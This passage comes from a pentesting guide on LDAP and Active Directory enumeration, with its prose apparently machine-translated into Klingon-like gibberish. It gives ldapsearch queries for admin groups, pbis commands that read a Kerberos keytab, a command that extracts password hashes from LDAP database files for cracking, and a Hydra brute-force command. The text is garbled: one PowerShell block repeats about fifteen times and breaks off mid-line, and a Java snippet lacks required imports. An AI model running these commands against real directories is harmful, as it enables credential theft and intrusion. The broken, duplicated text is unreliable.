ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Domain Admins ni'qu' extract.
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Domain Users ni' yIDel.
DaH jImej:
1. **LDAP** vItlhutlh.
2. **Base DN** laH **Domain Users**.
3. **Filter** laH **(objectClass=user)**.
4. **Attributes** laH **sAMAccountName**.
{.ldap}
ldapsearch -x -h <LDAP_SERVER> -b "<BASE_DN>" -s sub "(objectClass=user)" sAMAccountName
{.powershell}
Get-ADUser -Filter {ObjectClass -eq "user"} -SearchBase "<BASE_DN>" -Properties sAMAccountName | Select-Object sAMAccountName
{.python}
import ldap
def get_domain_users():
ldap_server = "<LDAP_SERVER>"
base_dn = "<BASE_DN>"
filter_str = "(objectClass=user)"
attributes = ["sAMAccountName"]
conn = ldap.initialize(ldap_server)
conn.simple_bind_s()
result = conn.search_s(base_dn, ldap.SCOPE_SUBTREE, filter_str, attributes)
conn.unbind_s()
domain_users = [entry[1]["sAMAccountName"][0].decode() for entry in result]
return domain_users
{.ruby}
require 'net/ldap'
def get_domain_users
ldap_server = "<LDAP_SERVER>"
base_dn = "<BASE_DN>"
filter_str = "(objectClass=user)"
attributes = ["sAMAccountName"]
ldap = Net::LDAP.new(host: ldap_server)
ldap.search(base: base_dn, filter: filter_str, attributes: attributes).map do |entry|
entry.sAMAccountName.first
end
end
{.php}
<?php
$ldap_server = "<LDAP_SERVER>";
$base_dn = "<BASE_DN>";
$filter_str = "(objectClass=user)";
$attributes = ["sAMAccountName"];
$ldap_conn = ldap_connect($ldap_server);
ldap_bind($ldap_conn);
$result = ldap_search($ldap_conn, $base_dn, $filter_str, $attributes);
$entries = ldap_get_entries($ldap_conn, $result);
ldap_unbind($ldap_conn);
$domain_users = [];
for ($i = 0; $i < $entries["count"]; $i++) {
$domain_users[] = $entries[$i]["samaccountname"][0];
}
return $domain_users;
?>
{.java}
import javax.naming.Context;
import javax.naming.NamingEnumeration;
import javax.naming.directory.Attributes;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
public class LdapExample {
public static void main(String[] args) {
String ldapServer = "<LDAP_SERVER>";
String baseDn = "<BASE_DN>";
String filterStr = "(objectClass=user)";
String[] attributes = {"sAMAccountName"};
try {
Hashtable<String, String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, ldapServer);
DirContext ctx = new InitialDirContext(env);
SearchControls searchControls = new SearchControls();
searchControls.setSearchScope(SearchControls.SUBTREE_SCOPE);
searchControls.setReturningAttributes(attributes);
NamingEnumeration<SearchResult> results = ctx.search(baseDn, filterStr, searchControls);
while (results.hasMore()) {
SearchResult searchResult = results.next();
Attributes attrs = searchResult.getAttributes();
System.out.println(attrs.get("sAMAccountName").get());
}
ctx.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
{.csharp}
using System;
using System.DirectoryServices;
class Program
{
static void Main()
{
string ldapServer = "<LDAP_SERVER>";
string baseDn = "<BASE_DN>";
string filterStr = "(objectClass=user)";
string[] attributes = {"sAMAccountName"};
try
{
DirectoryEntry entry = new DirectoryEntry(ldapServer);
DirectorySearcher searcher = new DirectorySearcher(entry, filterStr, attributes);
searcher.SearchScope = SearchScope.Subtree;
SearchResultCollection results = searcher.FindAll();
foreach (SearchResult result in results)
{
ResultPropertyCollection properties = result.Properties;
Console.WriteLine(properties["sAMAccountName"][0]);
}
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
}
}
{.bash}
#!/bin/bash
ldap_server="<LDAP_SERVER>"
base_dn="<BASE_DN>"
filter_str="(objectClass=user)"
attributes="sAMAccountName"
ldapsearch -x -h $ldap_server -b "$base_dn" -s sub "$filter_str" $attributes | grep "sAMAccountName:"
{.perl}
use Net::LDAP;
my $ldap_server = "<LDAP_SERVER>";
my $base_dn = "<BASE_DN>";
my $filter_str = "(objectClass=user)";
my @attributes = ("sAMAccountName");
my $ldap = Net::LDAP->new($ldap_server) or die "$@";
my $mesg = $ldap->bind();
$mesg = $ldap->search(
base => $base_dn,
filter => $filter_str,
attrs => \@attributes
);
foreach my $entry ($mesg->entries) {
my $sAMAccountName = $entry->get_value("sAMAccountName");
print "$sAMAccountName\n";
}
$ldap->unbind;
{.go}
package main
import (
"fmt"
"log"
ldap "github.com/go-ldap/ldap/v3"
)
func main() {
ldapServer := "<LDAP_SERVER>"
baseDN := "<BASE_DN>"
filterStr := "(objectClass=user)"
attributes := []string{"sAMAccountName"}
l, err := ldap.Dial("tcp", ldapServer)
if err != nil {
log.Fatal(err)
}
defer l.Close()
searchRequest := ldap.NewSearchRequest(
baseDN,
ldap.ScopeWholeSubtree, ldap.NeverDerefAliases, 0, 0, false,
filterStr,
attributes,
nil,
)
sr, err := l.Search(searchRequest)
if err != nil {
log.Fatal(err)
}
for _, entry := range sr.Entries {
fmt.Println(entry.GetAttributeValue("sAMAccountName"))
}
}
{.javascript}
const ldap = require('ldapjs');
const ldapServer = "<LDAP_SERVER>";
const baseDN = "<BASE_DN>";
const filterStr = "(objectClass=user)";
const attributes = ["sAMAccountName"];
const client = ldap.createClient({
url: ldapServer
});
client.bind('', '', (err) => {
if (err) {
console.error(err);
return;
}
const opts = {
filter: filterStr,
scope: 'sub',
attributes: attributes
};
client.search(baseDN, opts, (err, res) => {
if (err) {
console.error(err);
return;
}
res.on('searchEntry', (entry) => {
console.log(entry.object.sAMAccountName);
});
res.on('error', (err) => {
console.error(err);
});
});
});
{.powershell}
$ldapServer = "<LDAP_SERVER>"
$baseDN = "<BASE_DN>"
$filterStr = "(objectClass=user)"
$attributes = "sAMAccountName"
$ldapConn = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$ldapServer")
$ldapSearcher = New-Object System.DirectoryServices.DirectorySearcher($ldapConn)
$ldapSearcher.Filter = $filterStr
$ldapSearcher.SearchScope = "Subtree"
$ldapSearcher.PropertiesToLoad.AddRange($attributes)
$ldapResults = $ldapSearcher.FindAll()
foreach ($result in $ldapResults) {
$sAMAccountName = $result.Properties["sAMAccountName"]
Write-Output $sAMAccountName
}
$ldapConn.Dispose()
$ldapSearcher.Dispose()
$ldapResults.Dispose()
{.powershell}
$ldapServer = "<LDAP_SERVER>"
$baseDN = "<BASE_DN>"
$filterStr = "(objectClass=user)"
$attributes = "sAMAccountName"
$ldapConn = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$ldapServer")
$ldapSearcher = New-Object System.DirectoryServices.DirectorySearcher($ldapConn)
$ldapSearcher.Filter = $filterStr
$ldapSearcher.SearchScope = "Subtree"
$ldapSearcher.PropertiesToLoad.AddRange($attributes)
$ldapResults = $ldapSearcher.FindAll()
foreach ($result in $ldapResults) {
$sAMAccountName = $result.Properties["sAMAccountName"]
Write-Output $sAMAccountName
}
$ldapConn.Dispose()
$ldapSearcher.Dispose()
$ldapResults.Dispose()
{.powershell}
$ldapServer = "<LDAP_SERVER>"
$baseDN = "<BASE_DN>"
$filterStr = "(objectClass=user)"
$attributes = "sAMAccountName"
$ldapConn = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$ldapServer")
$ldapSearcher = New-Object System.DirectoryServices.DirectorySearcher($ldapConn)
$ldapSearcher.Filter = $filterStr
$ldapSearcher.SearchScope = "Subtree"
$ldapSearcher.PropertiesToLoad.AddRange($attributes)
$ldapResults = $ldapSearcher.FindAll()
foreach ($result in $ldapResults) {
$sAMAccountName = $result.Properties["sAMAccountName"]
Write-Output $sAMAccountName
}
$ldapConn.Dispose()
$ldapSearcher.Dispose()
$ldapResults.Dispose()
{.powershell}
$ldapServer = "<LDAP_SERVER>"
$baseDN = "<BASE_DN>"
$filterStr = "(objectClass=user)"
$attributes = "sAMAccountName"
$ldapConn = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$ldapServer")
$ldapSearcher = New-Object System.DirectoryServices.DirectorySearcher($ldapConn)
$ldapSearcher.Filter = $filterStr
$ldapSearcher.SearchScope = "Subtree"
$ldapSearcher.PropertiesToLoad.AddRange($attributes)
$ldapResults = $ldapSearcher.FindAll()
foreach ($result in $ldapResults) {
$sAMAccountName = $result.Properties["sAMAccountName"]
Write-Output $sAMAccountName
}
$ldapConn.Dispose()
$ldapSearcher.Dispose()
$ldapResults.Dispose()
{.powershell}
$ldapServer = "<LDAP_SERVER>"
$baseDN = "<BASE_DN>"
$filterStr = "(objectClass=user)"
$attributes = "sAMAccountName"
$ldapConn = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$ldapServer")
$ldapSearcher = New-Object System.DirectoryServices.DirectorySearcher($ldapConn)
$ldapSearcher.Filter = $filterStr
$ldapSearcher.SearchScope = "Subtree"
$ldapSearcher.PropertiesToLoad.AddRange($attributes)
$ldapResults = $ldapSearcher.FindAll()
foreach ($result in $ldapResults) {
$sAMAccountName = $result.Properties["sAMAccountName"]
Write-Output $sAMAccountName
}
$ldapConn.Dispose()
$ldapSearcher.Dispose()
$ldapResults.Dispose()
{.powershell}
$ldapServer = "<LDAP_SERVER>"
$baseDN = "<BASE_DN>"
$filterStr = "(objectClass=user)"
$attributes = "sAMAccountName"
$ldapConn = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$ldapServer")
$ldapSearcher = New-Object System.DirectoryServices.DirectorySearcher($ldapConn)
$ldapSearcher.Filter = $filterStr
$ldapSearcher.SearchScope = "Subtree"
$ldapSearcher.PropertiesToLoad.AddRange($attributes)
$ldapResults = $ldapSearcher.FindAll()
foreach ($result in $ldapResults) {
$sAMAccountName = $result.Properties["sAMAccountName"]
Write-Output $sAMAccountName
}
$ldapConn.Dispose()
$ldapSearcher.Dispose()
$ldapResults.Dispose()
{.powershell}
$ldapServer = "<LDAP_SERVER>"
$baseDN = "<BASE_DN>"
$filterStr = "(objectClass=user)"
$attributes = "sAMAccountName"
$ldapConn = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$ldapServer")
$ldapSearcher = New-Object System.DirectoryServices.DirectorySearcher($ldapConn)
$ldapSearcher.Filter = $filterStr
$ldapSearcher.SearchScope = "Subtree"
$ldapSearcher.PropertiesToLoad.AddRange($attributes)
$ldapResults = $ldapSearcher.FindAll()
foreach ($result in $ldapResults) {
$sAMAccountName = $result.Properties["sAMAccountName"]
Write-Output $sAMAccountName
}
$ldapConn.Dispose()
$ldapSearcher.Dispose()
$ldapResults.Dispose()
{.powershell}
$ldapServer = "<LDAP_SERVER>"
$baseDN = "<BASE_DN>"
$filterStr = "(objectClass=user)"
$attributes = "sAMAccountName"
$ldapConn = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$ldapServer")
$ldapSearcher = New-Object System.DirectoryServices.DirectorySearcher($ldapConn)
$ldapSearcher.Filter = $filterStr
$ldapSearcher.SearchScope = "Subtree"
$ldapSearcher.PropertiesToLoad.AddRange($attributes)
$ldapResults = $ldapSearcher.FindAll()
foreach ($result in $ldapResults) {
$sAMAccountName = $result.Properties["sAMAccountName"]
Write-Output $sAMAccountName
}
$ldapConn.Dispose()
$ldapSearcher.Dispose()
$ldapResults.Dispose()
{.powershell}
$ldapServer = "<LDAP_SERVER>"
$baseDN = "<BASE_DN>"
$filterStr = "(objectClass=user)"
$attributes = "sAMAccountName"
$ldapConn = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$ldapServer")
$ldapSearcher = New-Object System.DirectoryServices.DirectorySearcher($ldapConn)
$ldapSearcher.Filter = $filterStr
$ldapSearcher.SearchScope = "Subtree"
$ldapSearcher.PropertiesToLoad.AddRange($attributes)
$ldapResults = $ldapSearcher.FindAll()
foreach ($result in $ldapResults) {
$sAMAccountName = $result.Properties["sAMAccountName"]
Write-Output $sAMAccountName
}
$ldapConn.Dispose()
$ldapSearcher.Dispose()
$ldapResults.Dispose()
{.powershell}
$ldapServer = "<LDAP_SERVER>"
$baseDN = "<BASE_DN>"
$filterStr = "(objectClass=user)"
$attributes = "sAMAccountName"
$ldapConn = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$ldapServer")
$ldapSearcher = New-Object System.DirectoryServices.DirectorySearcher($ldapConn)
$ldapSearcher.Filter = $filterStr
$ldapSearcher.SearchScope = "Subtree"
$ldapSearcher.PropertiesToLoad.AddRange($attributes)
$ldapResults = $ldapSearcher.FindAll()
foreach ($result in $ldapResults) {
$sAMAccountName = $result.Properties["sAMAccountName"]
Write-Output $sAMAccountName
}
$ldapConn.Dispose()
$ldapSearcher.Dispose()
$ldapResults.Dispose()
{.powershell}
$ldapServer = "<LDAP_SERVER>"
$baseDN = "<BASE_DN>"
$filterStr = "(objectClass=user)"
$attributes = "sAMAccountName"
$ldapConn = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$ldapServer")
$ldapSearcher = New-Object System.DirectoryServices.DirectorySearcher($ldapConn)
$ldapSearcher.Filter = $filterStr
$ldapSearcher.SearchScope = "Subtree"
$ldapSearcher.PropertiesToLoad.AddRange($attributes)
$ldapResults = $ldapSearcher.FindAll()
foreach ($result in $ldapResults) {
$sAMAccountName = $result.Properties["sAMAccountName"]
Write-Output $sAMAccountName
}
$ldapConn.Dispose()
$ldapSearcher.Dispose()
$ldapResults.Dispose()
{.powershell}
$ldapServer = "<LDAP_SERVER>"
$baseDN = "<BASE_DN>"
$filterStr = "(objectClass=user)"
$attributes = "sAMAccountName"
$ldapConn = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$ldapServer")
$ldapSearcher = New-Object System.DirectoryServices.DirectorySearcher($ldapConn)
$ldapSearcher.Filter = $filterStr
$ldapSearcher.SearchScope = "Subtree"
$ldapSearcher.PropertiesToLoad.AddRange($attributes)
$ldapResults = $ldapSearcher.FindAll()
foreach ($result in $ldapResults) {
$sAMAccountName = $result.Properties["sAMAccountName"]
Write-Output $sAMAccountName
}
$ldapConn.Dispose()
$ldapSearcher.Dispose()
$ldapResults.Dispose()
{.powershell}
$ldapServer = "<LDAP_SERVER>"
$baseDN = "<BASE_DN>"
$filterStr = "(objectClass=user)"
$attributes = "sAMAccountName"
$ldapConn = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$ldapServer")
$ldapSearcher = New-Object System.DirectoryServices.DirectorySearcher($ldapConn)
$ldapSearcher.Filter = $filterStr
$ldapSearcher.SearchScope = "Subtree"
$ldapSearcher.PropertiesToLoad.AddRange($attributes)
$ldapResults = $ldapSearcher.FindAll()
foreach ($result in $ldapResults) {
$sAMAccountName = $result.Properties["sAMAccountName"]
Write-Output $sAMAccountName
}
$ldapConn.Dispose()
$ldapSearcher.Dispose()
$ldapResults.Dispose()
{.powershell}
$ldapServer = "<LDAP_SERVER>"
$baseDN = "<BASE_DN>"
$filterStr = "(objectClass=user)"
$attributes = "sAMAccountName"
$ldapConn = New-Object
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Enterprise Admins ni'qu' ghItlh:
ghItlh: 'ejDaq 'e' yIghItlh
<plaintext>
ghItlh: 'ejDaq 'e' yIghItlh
</plaintext>
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Administrators ni'wI' ghItlh.
Administrators
**ghItlh**
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
Remote Desktop Group ni qurgh extract:
Remote Desktop Group ni qurgh
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
To see if you have access to any password you can use grep after executing one of the queries:
grep -i password file.txt
This command will search for the word "password" in the file.txt file, ignoring case sensitivity.
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
pbis
pbis jImej: https://github.com/BeyondTrust/pbis-open/ 'ej 'oH usually installed /opt/pbis.
pbis vItlhutlh:
#Read keytab file
./klist -k /etc/krb5.keytab
#Get known domains info
./get-status
./lsa get-status
#Get basic metrics
./get-metrics
./lsa get-metrics
#Get users
./enum-users
./lsa enum-users
#Get groups
./enum-groups
./lsa enum-groups
#Get all kind of objects
./enum-objects
./lsa enum-objects
#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
echo "$line";
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
echo "======================"
done
Graphical Interface
Apache Directory
Download Apache Directory from here. You can find an example of how to use this tool here.
jxplorer
You can download a graphical interface with LDAP server here: http://www.jxplorer.org/downloads/users.html
By default is is installed in: /opt/jxplorer
Godap
You can access it in https://github.com/Macmod/godap
Authentication via kerberos
Using ldapsearch
you can authenticate against kerberos instead of via NTLM by using the parameter -Y GSSAPI
POST
If you can access the files where the databases are contained (could be in /var/lib/ldap). You can extract the hashes using:
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
You can feed john with the password hash (from '{SSHA}' to 'structural' without adding 'structural').
Configuration Files
- General
- containers.ldif
- ldap.cfg
- ldap.conf
- ldap.xml
- ldap-config.xml
- ldap-realm.xml
- slapd.conf
- IBM SecureWay V3 server
- V3.sas.oc
- Microsoft Active Directory server
- msadClassesAttrs.ldif
- Netscape Directory Server 4
- nsslapd.sas_at.conf
- nsslapd.sas_oc.conf
- OpenLDAP directory server
- slapd.sas_at.conf
- slapd.sas_oc.conf
- Sun ONE Directory Server 5.1
- 75sas.ldif
HackTricks Automatic Commands
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
Port_Number: 389,636 #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
https://book.hacktricks.xyz/pentesting/pentesting-ldap
Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}
Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x
Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
qaStaHvIS AWS hacking vItlhlaHbe'chugh htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks:
- If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!
- Get the official PEASS & HackTricks swag
- Discover The PEASS Family, our collection of exclusive NFTs
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @carlospolopm.
- Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.